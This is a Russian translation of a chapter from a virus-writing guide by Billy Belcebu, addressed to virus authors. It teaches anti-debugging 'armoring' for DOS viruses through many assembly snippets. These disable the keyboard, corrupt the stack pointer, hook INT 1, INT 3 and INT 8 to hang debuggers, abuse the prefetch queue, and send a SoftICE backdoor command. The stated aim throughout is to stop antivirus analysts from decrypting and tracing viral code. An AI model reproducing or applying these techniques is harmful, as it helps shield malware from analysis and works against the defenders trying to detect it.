[ Путеводитель по написанию вирусов: 4. Бронирование вашего кода ]
Это очень обсуждаемая тема на сцене. Многие VXеры защищают свой код, чтобы сделать жизнь AVеров намного труднее. Конечно,
мы говорим об антиотладочных процедурах. Есть много техник, которые мы все знаем... но было бы не плохо привести
парочку из них здесь... не правда ли?
У этих методов есть много возможных функций. Они очень конфигурабельны. Вы можете сделать свои собственные процедуры для
вашего вируса. Я думаю, что стоит поместить по крайней мере одну из этих процедур в ваш полиморфный движок (в таблицу
длинных процедур, как в вирусе Zohra Wintermut'а), чтобы одурачить AVеров, которые пытаются расшифровать наш код.
Очень полезная вещь - это деактивация клавиатуры. Когда мы деактивируем клавиатуру, отлаживающий код не может его больше
трейсить (F7 в TD). Если пользователь запускает программу на полную скорость... нет проблем. Только int 3 (брикпоинт)
сделает остальное. Это очень простая вещь, которая работает очень хорошо! Давайте взглянем на код:
bye_keyb:
in al,21h ; Давайте деактивируем клавиатуру
or al,02h ; Попробуйте нажать на любую клавишу
out 21h,al
fuck_int3:
int 3h ; Брикпоинт
exit_adbg:
in al,21h ; Давайте активируем клавиатуру
and al,not 2 ; Теперь клавиатура работает
out 21h,al ; кул :)
Это хороший метод. Подумайте, что вы можете сделать... деактивирование клавиатуры каждый раз, когда наш выполняется наш
вирус даст следующее: юзер не сможет нажать ^C, поэтому все, что вам нужно сделать, будет сделано. Действительно
полезная и простая вещь.
Другой метод - это поиграться со стеком. Многие деббугеры спотыкаются об эту простую и старую вещь. Код? Держите:
do_shit_stack:
neg sp
neg sp
Просто, а? Вы можете также сделать NOT вместо NEG. Будет тот же результат.
tons_of_shit:
not sp
not sp
Что делает NEG? Он увеличивает значение регистра на 1, потом применяет NOT к результату. Hо это очень старый трюк...
вы можете добавить его, но будет лучше поискать другие, так как это не пройдет со старыми отладчиками вроде Soft-Ice.
Hо если вы собираетесь сделать полиморфный движок, вы можете добавить простую процедуру вроде этой и AVP будет сосать,
пытаясь расшифровать ваш код. Хехе... Порождение Касперского сосет! Гхрм... Я забыл кое о чем... TBCLEAN говорит:
"Достигнут краш стека" :) Ок... продолжаем... Другой метод заключается в переполнении стека:
overflower:
mov ax,sp
mov sp,00h
pop bx
mov sp,ax
Конечно... есть еще. Другой классический трюк заключается в перехвате int 1 и/или int 3. У вас есть много возможностей,
чтобы сделать это. Хорошо, мы можем предложить вам еще.
change_int1_and_int3_using_dos:
mov ax,2501h ; AL = INT, который нужно перехватить
lea dx,newint
int 21h
mov al,03h
int 21h
[...]
newint:
jmp $
iret ; Зачем, если не используется? Хехе :)
Эта процедура может быть названа сторожевой резидентной собакой. Мы рекомендуем вам использовать нижеследующий метод.
Перехват прямым манипулированием:
int1:
xor ax,ax ; Давайте попробуем поместить IRET
; в INT 1
mov es,ax ; Hам нужен ES = 0. IVT в 0000:0000
mov word ptr es:[1h*4],0FEEBh ; jmp $
int3:
xor ax,ax
mov es,ax
mov word ptr es:[3h*4],0FEEBh ; jmp $
Если вы не хотите повесить компьютер, просто замените 0FEEBh на 0CF90h (noр и iret [в перевернутом порядке, разумеется]).
Очень классная идея - это сделать так, чтобы int 3 указывал на int 21, а затем использовать его вместо int 21. Это хорошо
для двух вещей: натянуть отладчики и оптимизировать ваш код... как это поможет оптимизировать ваш код? Опкод int 21 pавен
CD 21 (занимает два байта), а int 3 - только CC...
Помните, что int 3 - это брикпоинт для отладчиков, поэтому каждый раз, когда вы будете вызывать int 3, отладчик будет
останавливаться :). Вот сам код:
getint21:
mov ax,3521h ; Получаем вектора прерываний
int 21h
mov word ptr [int21_ofs],bx
mov word ptr [int21_seg],es
mov ax,2503h
lea dx,jumptoint21
int 21h
[...]
jumptoint21 db 0EAh
int21 equ this dword
int21_ofs dw 0000h
int21_seg dw 0000h
Мы также делаем сравнения со стеком, чтобы знать, не отлаживают ли нас. Вот несколько примеров:
stack_compares:
push ax
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz exit_adbg ; не отлаживают
jmр $ ; вешать компьютеры - это круто :)
exit_adbg:
Помните запрещать прерывания (cli) и разрешать их снова (sti), если необходимо. Да, есть еще много других методов для
защиты своего кода. Они, конечно, очень стары, но эй! они работают! Давайте взглянем на следующий... Манипуляци с
префетчингом очень известны. Я очень люблю этот метод. Давайте взглянем на следующий код:
prefetch:
mov word рtr cs:fake,0FEEBh ; Что, вы думаете, произойдет, если
fake: jmp nekst ; код отлаживается? Да, PC повиснет!
nekst:
; А дальше идет просто код
Вы также можете сделать еще больше различных вещей с префетчингом. Вы можете перейти к процедуре или поместить hlt
(тоже зависон)...
prefetch_fun:
mov word ptr cs:fake2,04CB4h
fake2: jmp bye_fake
int 21h
bye_fake:
Этот код прервет выполнение вашей программы. Довольно круто. А теперь процедура специально для SoftIce (лучший отладчик
также одурачен).
По крайней мере так говорят многие люди. Вот сам код:
soft_ice_fun:
mov ax,0911h ; Функция Soft-ice запуска команды
mov di,4647h ; DI = "FG"
mov si,4A4Eh ; SI = "JM"
lea dx,soft_ice_fuck ; Да!
int 03h ; Int для брикпоинтов
soft_ice_fuck db "bc *",10,0
Другой трюк состоит в том, чтобы перехватить int 8 и поместить туда сравнение переменной в нашем резидентном код,
потому что многие дебуггеры деактивируют все прерывания, кроме int 8. Данное прерывание запускается 18.2 раз в секунду.
Я рекомендую сохранить старый обработчик прерывания, прежде чем перехватывать его. Вам нужен код? Вот он:
save_old_int8_handler: ; Вы помните журнал 40-hex?
mov ax,3508h ; Это процедура из 7-го выпуска
int 21h
mov word ptr [int8_ofs],bx
mov word ptr [int8_seg],es
push bx es
mov ah,25h ; Помещаем старый обработчик int 8
lea dx,virii
int 21h
fuckin_loop:
cmр fuckvar,1 ; Это вызовет небольшую задержку
jnz fuckin_loop
pop ds ds
int 21h
mov ax,4C00h
int 21h
fuckvar db 0
int8 equ this dword
int8_ofs dw 0000h
int8_seg dw 0000h
program:
; bla bla bla
mov fuckvar,1
; more and more bla
jmp dword ptr [int8]
Запомните урок Demogorgon'а: "Hезащищенный код - это публичное достояние".
Эй! Будьте внимательны, если вам нужно дельта-смещение (т.е. вирусы времени выполнения) и добавьте его... ок?
Продолжение следует...
(c) Billy Belcebu, пер. Aquila